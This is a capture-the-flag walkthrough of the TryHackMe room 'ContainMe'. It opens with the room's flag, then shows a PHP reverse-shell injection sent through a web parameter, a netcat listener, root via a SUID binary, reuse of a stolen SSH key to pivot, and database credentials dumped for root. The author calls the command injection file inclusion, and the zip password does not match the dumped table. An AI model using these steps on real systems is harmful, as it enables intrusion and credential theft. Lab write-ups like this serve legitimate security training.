Task 1. Find the flag
No answer needed
Task 2. Find the one and only flag
Good luck finding the flag!
What is the flag?
THM{_Y0U_F0UND_TH3_C0NTA1N3RS_}
Introduction
ContainMe was a fun medium difficulty TryHackMe room focused around web exploitation, containerized environments, lateral movement, and internal enumeration. What initially looked like a simple web challenge slowly turned into a multi-stage pivot across different hosts inside the network.
In this walkthrough, I’ll cover the exact steps I followed to get initial access, escalate privileges inside the container, pivot into the internal host, and finally capture the root flag.
Initial Access
I started the machine with a basic Nmap scan to identify the running services.
$ nmap -sV 10.49.172.109
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
80/tcp open tcpwrapped
2222/tcp open EtherNetIP-1?
8022/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13ppa1+obfuscated~focal (Ubuntu Linux; protocol 2.0)
The scan showed four open ports:
- Port 22 running
tcpwrapped - Port 80 serving HTTP
- Port 2222 running
EtherNetIP - Port 8022 running SSH
Since HTTP was exposed on port 80, I started enumerating the web application first.
Web Enumeration
I opened the target in the browser and was greeted with the default Apache page.
That usually means there could still be hidden files or directories behind the default landing page, so I started directory enumeration using Gobuster.
$ gobuster dir -w SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://10.49.172.109 -x md,js,html,php,py,css,txt,bak
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.49.172.109
[+] Method: GET
[+] Threads: 10
[+] Wordlist: SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: js,html,php,py,css,txt,bak,md
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 278]
/index.html (Status: 200) [Size: 10918]
/.php (Status: 403) [Size: 278]
/index.php (Status: 200) [Size: 329]
/info.php (Status: 200) [Size: 68943]
The index.html page only returned the default Apache page, but index.php and info.php looked more interesting.
The info.php page exposed the PHP configuration of the server.
The more interesting finding was index.php. When I checked its contents directly using curl, it revealed the contents of the web root directory along with an unusual comment.
$ curl http://10.49.172.109/index.php
<html>
<body>
<pre>
total 28K
drwxr-xr-x 2 root root 4.0K Jul 16 2021 .
drwxr-xr-x 3 root root 4.0K Jul 15 2021 ..
-rw-r--r-- 1 root root 11K Jul 15 2021 index.html
-rw-r--r-- 1 root root 154 Jul 16 2021 index.php
-rw-r--r-- 1 root root 20 Jul 15 2021 info.php
<pre>
<!-- where is the path ? -->
</body>
</html>
The output confirmed that the files inside the web root were owned by the root user. The comment at the bottom also looked intentional and hinted that there was still another path left to discover.
Exploitation
The comment inside index.php hinted toward a hidden path parameter, so I started testing for Local File Inclusion behavior.
I added a path parameter to the request and pointed it to the root directory.
$ curl http://10.49.172.109/index.php?path=/
<html>
<body>
<pre>
total 80K
drwxr-xr-x 22 root root 4.0K Jul 15 2021 .
drwxr-xr-x 22 root root 4.0K Jul 15 2021 ..
drwxr-xr-x 2 root root 4.0K May 23 11:39 bin
drwxr-xr-x 2 root root 4.0K Jun 29 2021 boot
drwxr-xr-x 8 root root 500 May 23 11:27 dev
drwxr-xr-x 81 root root 4.0K May 23 11:40 etc
drwxr-xr-x 3 root root 4.0K Jul 19 2021 home
drwxr-xr-x 16 root root 4.0K Jun 29 2021 lib
drwxr-xr-x 2 root root 4.0K Apr 27 2025 lib64
drwxr-xr-x 2 root root 4.0K Jun 29 2021 media
drwxr-xr-x 2 root root 4.0K Jun 29 2021 mnt
drwxr-xr-x 2 root root 4.0K Jun 29 2021 opt
dr-xr-xr-x 208 nobody nogroup 0 May 23 11:27 proc
drwx------ 6 root root 4.0K Jul 19 2021 root
drwxr-xr-x 17 root root 700 May 23 11:41 run
drwxr-xr-x 2 root root 12K May 23 11:38 sbin
drwxr-xr-x 2 root root 4.0K Jul 14 2021 snap
drwxr-xr-x 2 root root 4.0K Jun 29 2021 srv
dr-xr-xr-x 13 nobody nogroup 0 May 23 11:27 sys
drwxrwxrwt 2 root root 4.0K May 23 11:39 tmp
drwxr-xr-x 10 root root 4.0K May 23 11:37 usr
drwxr-xr-x 14 root root 4.0K Jul 15 2021 var
<pre>
<!-- where is the path ? -->
</body>
</html>
At this point, the vulnerability was confirmed. The application was taking user supplied input from the path parameter and exposing filesystem contents directly.
After a few payload attempts, I managed to get command execution using a PHP proc_open reverse shell.
;php -r '$s=fsockopen("<IP>",<Port>);proc_open("sh",[$s,$s,$s],$p);'
Before sending the payload, I started a Netcat listener on my machine.
$ nc -lvnp 1234
I injected the payload through the vulnerable parameter.
A few seconds later, the reverse shell connected back successfully.
Once inside the machine, I upgraded the shell to make interaction more stable.
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
Now I had a proper interactive shell and could continue enumerating the system further.
Privilege Escalation Enumeration
After getting the reverse shell, I started enumerating the system manually to look for anything unusual.
I moved into Mike’s home directory and found a binary named 1cryptupx.
www-data@host1:/var/www/html$ cd /home/mike
www-data@host1:/home/mike$ ls
1cryptupx
I initially tried checking the binary using common utilities, but most of them were missing from the container.
www-data@host1:/home/mike$ file 1cryptupx
bash: file: command not found
www-data@host1:/home/mike$ string 1cryptupx
bash: string: command not found
So I executed it directly to see what it did.
www-data@host1:/home/mike$ ./1cryptupx
░█████╗░██████╗░██╗░░░██╗██████╗░████████╗░██████╗██╗░░██╗███████╗██╗░░░░░██╗░░░░░
██╔══██╗██╔══██╗╚██╗░██╔╝██╔══██╗╚══██╔══╝██╔════╝██║░░██║██╔════╝██║░░░░░██║░░░░░
██║░░╚═╝██████╔╝░╚████╔╝░██████╔╝░░░██║░░░╚█████╗░███████║█████╗░░██║░░░░░██║░░░░░
██║░░██╗██╔══██╗░░╚██╔╝░░██╔═══╝░░░░██║░░░░╚═══██╗██╔══██║██╔══╝░░██║░░░░░██║░░░░░
╚█████╔╝██║░░██║░░░██║░░░██║░░░░░░░░██║░░░██████╔╝██║░░██║███████╗███████╗███████╗
░╚════╝░╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░░░░╚═╝░░░╚═════╝░╚═╝░░╚═╝╚══════╝╚══════╝╚══════╝
The binary only printed a banner and did not reveal much information.
At that point, I switched to checking for SUID binaries.
www-data@host1:/home/mike$ find / -user root -perm /4000 2>/dev/null
/usr/share/man/zh_TW/crypt
/usr/bin/newuidmap
/usr/bin/newgidmap
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/bin/mount
/bin/ping
/bin/su
/bin/umount
/bin/fusermount
/bin/ping6
One file immediately stood out.
/usr/share/man/zh_TW/crypt
That path looked unusual for a SUID binary, so I checked its permissions.
www-data@host1:/home/mike$ ls -la /usr/share/man/zh_TW/crypt
-rwsr-xr-x 1 root root 358668 Jul 30 2021 /usr/share/man/zh_TW/crypt
The binary was owned by root and had the SUID bit enabled.
Before transferring it locally for analysis, I decided to interact with it directly using different arguments.
www-data@host1:/var/www/html$ /usr/share/man/zh_TW/crypt -h
You wish!
Then I tried another argument.
www-data@host1:/var/www/html$ /usr/share/man/zh_TW/crypt -a
Unable to decompress.
At this point, I started testing random inputs against the binary. Surprisingly, passing the username mike immediately dropped me into a root shell.
www-data@host1:/var/www/html$ /usr/share/man/zh_TW/crypt mike
root@host1:/var/www/html# whoami
root
I finally had root access.
Root Access
After getting the root shell, I moved into /root expecting to find the flag immediately.
root@host1:/var/www/html# cd /root
root@host1:/root# ls
But there was no flag.
For a moment, it felt strange. Then the room name started making sense.
ContainMe
I checked the current user context.
root@host1:/home/mike# id
uid=0(root) gid=33(www-data) groups=33(www-data)
Even though I had root privileges, the environment clearly looked restricted. That confirmed I was inside a container rather than the actual host machine.
To verify that theory, I checked the network interfaces.
root@host1:/root# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.250.10 netmask 255.255.255.0 broadcast 192.168.250.255
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.16.20.2 netmask 255.255.255.0 broadcast 172.16.20.255
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
The second interface confirmed there was another internal network reachable from the container.
At this stage, the objective shifted from container root access to pivoting deeper into the environment.
Lateral Movement
At this point, I had root access inside the container, so I started looking for anything useful that could help me move further into the environment.
Inside Mike’s home directory, I found SSH keys stored under .ssh.
root@host1:/root# cd /home/mike
root@host1:/home/mike# ls .ssh
id_rsa id_rsa.pub
I dumped the private key.
root@host1:/home/mike# cat .ssh/id_rsa
[REDACTED — CTF machine RSA private key]
Now that I had Mike’s SSH private key, I started looking for another reachable host inside the internal network.
Based on the network configuration discovered earlier, the second machine appeared to be reachable through the 172.16.20.0/24 subnet. After a bit of guessing and quick checking, I identified another host at 172.16.20.6.
I used the private key to SSH into it.
$ ssh mike@172.16.20.6 -i id_rsa
The login worked immediately.
root@host1:/home/mike/.ssh# ssh mike@172.16.20.6 -i id_rsa
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 5.15.0-139-generic x86_64)
Last login: Sat May 23 17:22:48 2026 from 172.16.20.2
mike@host2:~$ id
uid=1001(mike) gid=1001(mike) groups=1001(mike)
At this stage, I was finally inside host2.
After taking a short break because the room was already turning into a maze, I started enumerating services and listening ports on the new machine.
mike@host2:~$ ss -tulnp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 80 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 128 [::]:22 [::]:*
One thing immediately stood out.
Port 3306 was listening locally on 127.0.0.1, which meant MySQL was running internally on the machine.
Credential Discovery
Since MySQL was running locally on port 3306, I tried authenticating with the current user account.
I used mike as the username and started trying a few simple passwords. Surprisingly, one of the guesses worked.
mike@host2:~$ mysql -u mike -p
Enter password: password
Once inside the database, I started enumerating the available databases and tables.
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| accounts |
+--------------------+
The accounts database immediately looked interesting.
mysql> use accounts;
mysql> show tables;
+--------------------+
| Tables_in_accounts |
+--------------------+
| users |
+--------------------+
I dumped the contents of the users table.
mysql> select * from users;
+-------+---------------------+
| login | password |
+-------+---------------------+
| root | bjsig4868fgjjeog |
| mike | ca |
+-------+---------------------+
That finally gave me credentials for the root account.
Root Access
I used the recovered password to switch to the root user.
mike@host2:~$ su root
Password: bjsig4868fgjjeog
The password worked.
root@host2:/home/mike# cd /root
root@host2:~# ls
mike.zip
At first, I expected the flag to be directly inside /root, but instead there was a ZIP archive named mike.zip.
I extracted it.
root@host2:~# unzip mike.zip
Archive: mike.zip
[mike.zip] mike password: WhatAreYouDoingHere
extracting: mike
The archive requested Mike’s password, and the credentials recovered from the database worked successfully.
After extraction, a file named mike appeared inside the directory.
root@host2:~# ls
mike mike.zip
Root Flag
Finally, I opened the file and grabbed the root flag.
root@host2:~# cat mike
THM{_Y0U_F0UND_TH3_C0NTA1N3RS_}
This room turned out to be far more interesting than I expected. What started as a simple web enumeration challenge slowly unfolded into container escape style pivoting, internal network discovery, SSH lateral movement, and credential hunting across multiple hosts.